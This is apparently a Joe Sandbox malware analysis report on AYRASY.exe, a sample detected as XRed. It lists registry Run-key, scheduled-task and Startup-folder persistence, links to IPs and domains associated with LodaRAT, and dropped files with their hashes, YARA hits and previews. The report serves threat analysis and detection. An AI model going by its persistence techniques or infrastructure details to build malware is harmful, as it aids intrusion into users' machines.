Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:24:21	API Interceptor	75x Sleep call for process: Synaptics.exe modified
05:24:34	API Interceptor	1x Sleep call for process: WerFault.exe modified
11:24:09	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run WBHUSK "C:\Users\user\AppData\Roaming\Windata\YOABSG.exe"
11:24:10	Task Scheduler	Run new task: WBHUSK.exe path: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe
11:24:18	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver C:\ProgramData\Synaptics\Synaptics.exe
11:24:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run WBHUSK "C:\Users\user\AppData\Roaming\Windata\YOABSG.exe"
11:24:34	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WBHUSK.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.111.138.100	mmi8nLybam.exe	Get hash	malicious	LodaRAT	Browse
	Supplier 0202AW-PER2 Sheet.exe	Get hash	malicious	LodaRAT, XRed	Browse
	Purchase Order No. G02873362-Docx.vbs	Get hash	malicious	LodaRAT, XRed	Browse
	New PO - Supplier 0202AW-PER2.exe	Get hash	malicious	LodaRAT, XRed	Browse
	RNEQTT.exe	Get hash	malicious	LodaRAT, XRed	Browse
	Bank Information Details.bat	Get hash	malicious	LodaRAT, XRed	Browse
	Purchase Order Supplies.Pdf.exe	Get hash	malicious	LodaRAT	Browse
	bf-p2b.exe	Get hash	malicious	LodaRAT	Browse
	gry.exe	Get hash	malicious	Unknown	Browse
	dlawt.exe	Get hash	malicious	LodaRat	Browse
69.42.215.252	Supplier 0202AW-PER2 Sheet.exe	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	zhuzhu.exe	Get hash	malicious	GhostRat, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Purchase Order No. G02873362-Docx.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	blq.exe	Get hash	malicious	Gh0stCringe, RunningRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	New PO - Supplier 0202AW-PER2.exe	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	RNEQTT.exe	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	ZmrwoZsbPp.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	ccmsetup.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Synaptics.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	RezQY7jWu8.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
freedns.afraid.org	Supplier 0202AW-PER2 Sheet.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	zhuzhu.exe	Get hash	malicious	GhostRat, XRed	Browse	69.42.215.252
	Purchase Order No. G02873362-Docx.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	blq.exe	Get hash	malicious	Gh0stCringe, RunningRAT, XRed	Browse	69.42.215.252
	New PO - Supplier 0202AW-PER2.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	RNEQTT.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	ZmrwoZsbPp.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	ccmsetup.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Synaptics.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	RezQY7jWu8.exe	Get hash	malicious	XRed	Browse	69.42.215.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VOXILITYGB	mmi8nLybam.exe	Get hash	malicious	LodaRAT	Browse	172.111.138.100
	Supplier 0202AW-PER2 Sheet.exe	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	104.250.189.221
	Purchase Order No. G02873362-Docx.vbs	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
	New PO - Supplier 0202AW-PER2.exe	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
	RNEQTT.exe	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
	1733490559d59c04cc496d19f458945b96e65fd57801bd9b53502be73c34ff8d8deb937e45230.dat-decoded.exe	Get hash	malicious	Remcos	Browse	104.243.246.120
	nabsh4.elf	Get hash	malicious	Unknown	Browse	46.243.206.70
	7jBzTH9FXQ.exe	Get hash	malicious	Unknown	Browse	37.221.166.158
	fACYdCvub8.exe	Get hash	malicious	Unknown	Browse	5.254.60.108
AWKNET-LLCUS	222.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Supplier 0202AW-PER2 Sheet.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	zhuzhu.exe	Get hash	malicious	GhostRat, XRed	Browse	69.42.215.252
	Purchase Order No. G02873362-Docx.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	blq.exe	Get hash	malicious	Gh0stCringe, RunningRAT, XRed	Browse	69.42.215.252
	New PO - Supplier 0202AW-PER2.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	RNEQTT.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	ZmrwoZsbPp.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	ccmsetup.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Synaptics.exe	Get hash	malicious	XRed	Browse	69.42.215.252

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	222.exe	Get hash	malicious	LodaRAT, XRed	Browse	142.250.186.46 172.217.23.97
	Supplier 0202AW-PER2 Sheet.exe	Get hash	malicious	LodaRAT, XRed	Browse	142.250.186.46 172.217.23.97
	zhuzhu.exe	Get hash	malicious	GhostRat, XRed	Browse	142.250.186.46 172.217.23.97
	setup.msi	Get hash	malicious	Unknown	Browse	142.250.186.46 172.217.23.97
	Lets-x64.exe	Get hash	malicious	Nitol, Zegost	Browse	142.250.186.46 172.217.23.97
	KL-3.1.16.exe	Get hash	malicious	Nitol, Zegost	Browse	142.250.186.46 172.217.23.97
	Whyet-4.9.exe	Get hash	malicious	Nitol, Zegost	Browse	142.250.186.46 172.217.23.97
	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse	142.250.186.46 172.217.23.97
	wyySetups64.exe	Get hash	malicious	GhostRat	Browse	142.250.186.46 172.217.23.97

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_6006a5d9523bc6e9daf98fd59a42cdc1f3fde8b_455b7b6e_d3d18fab-5b89-4e6f-986b-da59d36e17e2\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1336775162267894
Encrypted:	false
SSDEEP:	192:WfOVpsosImm0BU/3DzJDzqjLOA/FccBFzuiFdZ24IO8EKDzy:lyL3BU/3JqjkizuiFdY4IO8zy
MD5:	5C0CD3144A182CD984EAF3D74EB574DC
SHA1:	55AA57E6DEA3EF488D286F05966AFEB29EEE833A
SHA-256:	F4CF5F98DA33292B7886F5FECE5763BE5BBEC3A3C8D094D14C8338F9BDB3E4EC
SHA-512:	F72BC283499C9F02E5B11B4FB3E9159E144E3554F4C35E64A4836905217C44D1FDFD598A669E901897D060C0A41C8416A6F0673EC1BDEB90626F14A5EED01287
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.0.2.7.8.6.9.0.4.6.9.2.1.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.0.2.7.8.7.2.3.5.9.4.2.1.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.3.d.1.8.f.a.b.-.5.b.8.9.-.4.e.6.f.-.9.8.6.b.-.d.a.5.9.d.3.6.e.1.7.e.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.2.b.1.7.5.b.c.-.8.2.c.c.-.4.3.f.c.-.8.b.6.c.-.6.0.e.e.f.8.c.8.4.8.2.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.3.b.8.-.0.0.0.1.-.0.0.1.5.-.5.1.9.7.-.7.1.f.4.a.4.5.a.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.9.9.a.1.3.7.d.5.9.3.d.d.a.9.d.1.5.8.d.c.8.b.6.b.7.7.2.0.d.e.b.0.0.0.0.1.f.0.4.!.0.0.0.0.3.c.f.4.8.6.0.8.e.3.c.7.3.1.1.5.e.3.7.3.1.6.a.4.9.f.4.7.d.3.5.8.6.c.5.c.9.4.e.1.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9F05.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Dec 30 10:24:31 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	748452
Entropy (8bit):	2.261017320918558
Encrypted:	false
SSDEEP:	3072:mp0runcr4taeXXLA9UxNB4eMp5mrps8oHbINT:muinaiXbaSqeMp5mrps8o72
MD5:	39D1ACD502E1D52CCCC92BA805A45DDE
SHA1:	30C72334AC7E3C01DD3D67143B93BFEA08F4618E
SHA-256:	E6D80F9C9DA75CD28FDC2974AE9D579479477183E98116ACAFC21ECB6E4E11FF
SHA-512:	EFCAF39B248A2EA4FEBE660F21B45BB92BB404A13476BEBC9A5B4A50CD01BFD34E8D40667EFAD81B5774BC27A27FF30B578E7B6413813E6BD9D09D3276940A26
Malicious:	false
Preview:	MDMP..a..... ........trg....................................$....6.......).../..........`.......8...........T...........h...<............6...........8..............................................................................eJ......(9......GenuineIntel............T............trg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAA6F.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6316
Entropy (8bit):	3.716206454733045
Encrypted:	false
SSDEEP:	192:R6l7wVeJsx96ZVv0UYiSEYprs89bYSsfgom:R6lXJa6ZVfYsMYRfW
MD5:	317D5E22CAB679ACCBE1EDF39A21E7CE
SHA1:	777BC24EEAF1899168DF2682BE24803648493291
SHA-256:	82F7B078EF10BD063038135B744FA6D09363AFA4F23D1C91026E302D1541091E
SHA-512:	A2C3A5F7769A842AD11182AD7CD75BC4238D81AB79B4FB1E4352EA75A02E60A4CE1EF110A9C76CEDDA13E440BB795499B20251F1CD13DCFD2FBE6E7E4AFC6570
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.0.4.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAAAF.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4572
Entropy (8bit):	4.448488005078407
Encrypted:	false
SSDEEP:	48:cvIwWl8zs4qJg77aI9VaWpW8VYIYm8M4JFAF0V+q84vBdZld:uIjfvI77b7VIJRVZBdZld
MD5:	B33525AE24187F4717BBE8579FC02631
SHA1:	56E14A689B0CB32F18F27CC8F70CB65586E1C8D2
SHA-256:	AB062D2F3CF3969B476D42DAFBD08C28304ACE423AEEA1E48A915294A5536B92
SHA-512:	25574FB211B14B1FCB0F6B6239ACB56671D7940B0CDB3ECC0C1B695845301608F50506B1D95CBC0C29E106BAE5353E91DBFD5D1DE620153160878B1DC3ACD10D
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="653847" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Synaptics\RCX4413.tmp

Download File

Process:	C:\Users\user\Desktop\AYRASY.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	771584
Entropy (8bit):	6.639994041359131
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9Igr:ansJ39LyjbJkQFMhmC+6GD9j
MD5:	27C056CC4DAFB6B3161272E800C85E55
SHA1:	3CF48608E3C73115E37316A49F47D3586C5C94E1
SHA-256:	8445CFA3304BBC48A8616AABA0881A2433E52B839DD5E6234DF8776AE7873C26
SHA-512:	0D0A77C959BA38555E49C1ECDB5530A8D0D2C0D4BCF4B7BF91A82854D82ED139F0737C9024979F148B67AA2287B087F585B0F9B69F931733B4BDE32D491FECB7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\RCX4413.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCX4413.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe

Download File

Process:	C:\Users\user\Desktop\AYRASY.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1750016
Entropy (8bit):	7.48957166237222
Encrypted:	false
SSDEEP:	49152:jnsHyjtk2MYC5GDIhloJfEEaiSgCkqoHisJ:jnsmtk2athlVER3CkqoHxJ
MD5:	07E25C260C13B82CD867DAEF02255C82
SHA1:	EBC6562D3EB2A877D8CFEAFCADA1E1AF1A66E208
SHA-256:	72D043DCD766DA3F32477C3C1612165B2124F347013BBB69BA3DA85EAF9E3D40
SHA-512:	DCF874250B8B302FFF6BA5466B240660D06613838BC24FF76AB8F060AD8FB6DDBDFD58548034D08AB43906DD4B0F91A3AD2F31FE298DC20005F8A0A48873AFD9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B......0....................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...0...........................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\AYRASY.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\8EPMJ6c.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2670699863356685
Encrypted:	false
SSDEEP:	24:GgsF+0JcDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+6U+pAZewRDK4mW
MD5:	D0BB783DD7AB888B1C930D874D0EBE41
SHA1:	E4692FC71C3EDE7B100CE5310AAD92578DE92A64
SHA-256:	D1B6C6C65ACC050811DDC3085C7DBDD312E123418C465E0213DC696E727CA7B8
SHA-512:	294EEA3564F0B5C4970F35C5E30DBBFF3451AA77B0AF29C1BA8C75E86FE24A4B9FF5D793E1EFFF151E355124D376F2F5A4ABE49F6666AA5AD3281E72031D662B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Q3U1MVJmSp5WaUuOyqhadA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\DL1yhkp.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266199546277303
Encrypted:	false
SSDEEP:	24:GgsF+0DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+U+pAZewRDK4mW
MD5:	73395838E5A6F6868C4920C1E6C04C91
SHA1:	24B56B28ABE011B9F5A569896AE6D3DAA14E1509
SHA-256:	DCE50AAECF355A717E3820D478A5D3207BC9861C4A30557C7DF01FC986DB3462
SHA-512:	4E6DC58781909A7151250CCF14426B0D56AE78EB2CF8BD3FE4A088CFF7B4E09FA935AC3B144631DC612984BA39D053CD2A791E14FF0CFE481B3ACEBE5984CED1
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="l2A4SB25BB91UzXsXaNCTw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\EgGPXmd.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25380787355666
Encrypted:	false
SSDEEP:	24:GgsF+0NqDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+kqD+pAZewRDK4mW
MD5:	92F2635DC1E96AA345D5CCFC25CA5EB1
SHA1:	90F6BCB4BB4C0F1210D265B0327159355E552A0B
SHA-256:	F341048BF343BF195E277A9C87C8078300314967D83DA7E635BF73A979B58291
SHA-512:	A871F7E5559BFECA26BA461399100F5C8AD49D4F0DAA5D2FA854D667AFE867548F6A488371D0EF06BD972D186F96EEF1A378F0FF2CFFFE3197DF1FE643521DC2
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="MQfTzygbE5tF5lMLTx0rxQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\I25lJMs.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.244658155892202
Encrypted:	false
SSDEEP:	24:GgsF+0sCSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+nC+pAZewRDK4mW
MD5:	FEF8F4B916EB86A46AB24E30B8A77E1C
SHA1:	0AEA46F893A9CA37AACB0EE3DC06E76ECA95877C
SHA-256:	12DB837F12DD6A741928CDF0B3F2B12FF6D8B8952292C85E63E94F7F39593E93
SHA-512:	E630C7BE1D35FE9238610A5E989D7A7B908A2BCA10A853B4E7E8E026F270ACE4518BC9F9AD574293D6AFCF71B94388C57A7CABF7A61FE15B189C8E9BE2F2C416
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="P-7eaNsno9xsviEn6UhxlA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\UgO6EaS.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268125098283457
Encrypted:	false
SSDEEP:	24:GgsF+0knSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Nn+pAZewRDK4mW
MD5:	08673D17E97CCF3FE70BC2766AC491BD
SHA1:	B6569D82FDB79E70B6FDF56EB61A2522C4029C0D
